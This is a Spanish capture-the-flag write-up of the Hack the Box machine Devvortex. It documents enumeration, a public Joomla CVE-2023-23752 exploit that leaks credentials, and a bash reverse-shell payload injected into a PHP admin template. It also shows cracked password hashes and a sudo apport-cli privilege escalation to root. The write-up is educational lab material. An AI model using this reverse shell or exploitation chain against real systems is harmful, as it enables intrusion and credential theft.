---
description: >-
  En esta ocasión vamos a hacer el writeup de la máquina Devvortex de Hack the
  Box, una máquina Linux de dificultad easy.
---

# Devvortex

## <mark style="color:purple;">Primer acceso</mark>

Accedemos a la IP `10.10.11.242` a través del navegador. Añadimos `devvortex.htb` a nuestro archivo `etc/hosts` y ya nos aparece:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FduAwdgfEuT7syhnpncyP%2Fimage.png?alt=media&#x26;token=cd132198-081b-4397-a98d-5482a973dab3" alt=""><figcaption></figcaption></figure>

A priori parece una web de una compañía de desarrollo web.

## <mark style="color:purple;">Escaneo con Nmap</mark>

```bash
sudo nmap -v -sS -sV 10.10.11.242
```

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
```

Solo tiene abiertos los 2 puertos típicos, ssh y http, en principio nada interesante.

## <mark style="color:purple;">Fuzzing</mark>

Al fuzzear con dirsearch  nos encontramos varios directorios, pero que al acceder nos dan un forbidden:

```bash
dirsearch -u devvortex.htb -x 403,404
 
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_devvortex.htb/_23-11-28_00-26-53.txt

Target: http://devvortex.htb/

[00:26:54] Starting: 
[00:26:55] 301 -  178B  - /js  ->  http://devvortex.htb/js/
[00:27:11] 200 -    7KB - /about.html
[00:27:37] 200 -    9KB - /contact.html
[00:27:39] 301 -  178B  - /css  ->  http://devvortex.htb/css/
[00:27:50] 301 -  178B  - /images  ->  http://devvortex.htb/images/
```

Bueno, parece un callejón sin salida. En esta etapa, podrían venir a la mente tres posibilidades:

1. No hay nada explotable en el sitio web principal
2. No hay directorios ni archivos ocultos interesantes
3. Estamos en un punto muerto

Utilizando Gobuster, tenemos la opción de encontrar vhosts o pantallas de desarrollo o en pre-producción, por lo que vamos a utilizar el siguiente comando:

{% code overflow="wrap" %}
```bash
gobuster vhost -u devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```
{% endcode %}

Encontramos el subdominio `dev.devvortex.htb`, lo que aumenta nuestra superficie de ataque.

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FbEvHZgtPgJEM0CY3skQG%2Fimage.png?alt=media&#x26;token=5e9c24fb-ca3f-4fca-96c0-12d8a7042635" alt=""><figcaption></figcaption></figure>

Ejecutando dirsearch de nuevo contra este subdominio nos encontramos cosas interesantes:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FzU5kBcm7lbbZL6hCGrzO%2Fimage.png?alt=media&#x26;token=83c84668-8787-4d3b-9be1-39d0759ba22e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FFF6upGxPf9pd6asJ2kIB%2Fimage.png?alt=media&#x26;token=f7e97d79-dc2e-418b-88cf-45e50956541a" alt=""><figcaption></figcaption></figure>

Encontramos pantallas de administrador y logs, lo que nos puede ayudar a encontrar usuarios y/o credenciales, y archivos de configuración del sitio web.

Al acceder a `/administrator` nos salta un login de Joomla:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FOliXTx8WyXUD75u0DbBA%2Fimage.png?alt=media&#x26;token=1be0c8fc-1018-4881-b2ad-3fd3f67133e1" alt=""><figcaption></figcaption></figure>

Si ejecutamos Joomscan nos encontramos con que usa la versión 4.2.6, por lo que buscaremos un exploit para esta versión:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FFgcTUVnYfEV6M2uNH4MG%2Fimage.png?alt=media&#x26;token=a359fbe5-a0e3-40be-86f4-cca8c3220c7c" alt=""><figcaption></figcaption></figure>

## <mark style="color:purple;">Exploit</mark>

Buscando un exploit para esta versión de Joomla nos encontramos con este exploit en Github, con el CVE-2023-23752 asociado:

{% embed url="https://github.com/Acceis/exploit-CVE-2023-23752" %}

Seguimos las instrucciones de instalación del repo y lo ejecutamos de la siguiente manera:

```bash
# Instalación
git clone https://github.com/Acceis/exploit-CVE-2023-23752.git
cd exploit-CVE-2023-23752.git
gem install httpx docopt paint

# Ejecutamos el exploit
sudo ruby exploit.rb http://dev.devvortex.htb
```

El exploit funciona y descubrimos dos usuarios, uno de ellos administrador, y el acceso a una base de datos MySql con usuario y contraseña:

```bash
❯ sudo ruby exploit.rb http://dev.devvortex.htb 

Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered

Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
```

A la base de datos solo nos podemos conectar por localhost, por lo que necesitamos estar dentro para acceder. Al intentar conectarnos por SSH con las credenciales no funcionan, así que vamos a loguearnos en el panel de Joomla con la cuenta de administrador:

```
Usuario:  lewis
Password: P4ntherg0t1n5r3c0n##
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fp6UK7dHj9dtirD34GwTp%2Fimage.png?alt=media&#x26;token=4f258222-2c51-4bae-9779-d9d3aef67f16" alt=""><figcaption></figcaption></figure>

Nuestro objetivo aquí es encontrar una página para añadir código y establecer una reverse shell con la máquina, por lo que vamos a ir a System > Administrator templates

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FS45yHcvtxTTBNlLUh0Rr%2Fimage.png?alt=media&#x26;token=1e7f0789-55b8-4fbd-9fa2-5627351d7b9c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fafar0H6jDQCT5KcYPVNf%2Fimage.png?alt=media&#x26;token=267b15e2-d613-4392-b398-f99582b6dc4e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2F3Tg9RbLyIKJ9iLBADoGK%2Fimage.png?alt=media&#x26;token=aa5677dc-604b-44c1-b87e-e18ac6fa721b" alt=""><figcaption></figcaption></figure>

Como podemos ver, hay varios códigos PHP ejecutándose dentro de nuestra plantilla. Abrimos login.php e inyectamos nuestro código para ejecutar un comando bash y luego guardemos los cambios.

{% code title="Reverse Shell" %}
```bash
bash -i >& /dev/tcp/10.10.14.46/4444 0>&1
```
{% endcode %}

```php
# Pegamos esto
system('bash -c "bash -i >& /dev/tcp/10.10.14.46/4444 0>&1"');
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fnfc3P4cxdDEkkkgdqvLW%2Fimage.png?alt=media&#x26;token=31ea170d-d4f2-4639-9f26-4e1b478f2f78" alt=""><figcaption></figcaption></figure>

Abrimos un netcat listener y accedemos a `http://dev.devvortex.htb/administrator/templates/atum/login.php` y obtenemos la reverse shell:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FkvSgwaXW3adM2gjzzrkI%2Fimage.png?alt=media&#x26;token=4e0bc6fe-9f6b-44ae-9c2c-684dbd2bfdc9" alt=""><figcaption></figcaption></figure>

Accedemos a /etc/passwd y vemos que logan puede ejecutar comandos desde /home/logan

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FgABffvY8wxePf4pBTrkO%2Fimage.png?alt=media&#x26;token=82f5c22d-5882-4df4-b699-74fe19289bc0" alt=""><figcaption></figcaption></figure>

Vamos a importar pty con python y a acceder a la base de datos MySql con las credenciales que descubrimos anteriormente:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FYPoNjms1sO176B6gQ5yy%2Fimage.png?alt=media&#x26;token=7f053069-644a-41df-b798-0c3be9599c74" alt=""><figcaption></figcaption></figure>

Mirando las tablas de la base de datos nos encontramos con la tabla `sd4fg_users` que es la que contiene información de los usuarios y su contraseña en formato de hash.

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FKShF4MAHjfewwRH8zwNI%2Fimage.png?alt=media&#x26;token=954fffc3-445a-4d54-8088-813652bb8376" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FVQhucOImp3cuUdVhOtoe%2Fimage.png?alt=media&#x26;token=5299c55f-bbe4-44f3-9246-189f325e200d" alt=""><figcaption></figcaption></figure>

Al acceder a esa tabla efectivamente encontramos los 2 hashes de los usuarios lewis y logan.

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FWQS79YB5OaTDm48a27uO%2Fimage.png?alt=media&#x26;token=dc855115-2276-46b1-adff-8c55c51a3c18" alt=""><figcaption></figcaption></figure>

Ahora vamos a crackearlos. Nos interesa sobre todo crackear el hash de Logan, ya que es el usuario que tiene permisos para ejecutar comandos.

```
lewis: $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FV7qRwJs6nBPLfEP7RrJa%2Fimage.png?alt=media&#x26;token=d98fa7ca-60bb-4df9-89bc-86e4ad14a4ce" alt=""><figcaption></figcaption></figure>

Ya tenemos usuario y contraseña para acceder por SSH:

```
Usuario:   logan
Password:  tequieromucho
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FVG0w2PfmYxOVbTcSuv0P%2Fimage.png?alt=media&#x26;token=88d4c66b-2d59-4dcd-9cd9-2d849b43cbeb" alt=""><figcaption></figcaption></figure>

Accedemos correctamente y obtenemos el `user.txt`  🏆

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fa44CoMJ7pdJIhfnX1qVr%2Fimage.png?alt=media&#x26;token=13f6160d-1cfc-4185-843b-3d909b176181" alt=""><figcaption></figcaption></figure>

## <mark style="color:purple;">Escalada de Privilegios</mark>

Con `sudo -l` vemos los permisos que tiene Logan en el sistema:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FzwQhNcv83AVBNvxqFGgq%2Fimage.png?alt=media&#x26;token=e336db2b-1f88-48ab-8aa5-68f39096936a" alt=""><figcaption></figcaption></figure>

{% embed url="https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb?source=post_page-----d2fbd862027e--------------------------------" %}

Vamos a ejecutar el siguiente comando y le decimos 'V' cuando nos de la opción de elegir:

```bash
sudo /usr/bin/apport-cli -c test.log less
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fplmf6j2dWPJngdjMGYOL%2Fimage.png?alt=media&#x26;token=ea7d4ab2-33e0-4973-886f-78dfecea825c" alt=""><figcaption></figcaption></figure>

En este punto solo tenemos que ejecutar el siguiente comando para volvernos root:

```bash
!/bin/bash
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fx0ztB22FePoZYYlPvtiL%2Fimage.png?alt=media&#x26;token=38bfd1f5-bcd5-448b-b61e-ef170ea22c3d" alt=""><figcaption></figcaption></figure>

Y ya somos root!&#x20;

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2F50guHMFT8WSdzcz81rsf%2Fimage.png?alt=media&#x26;token=19241a75-e62f-436d-bd71-e32c37b8ee7c" alt=""><figcaption></figcaption></figure>

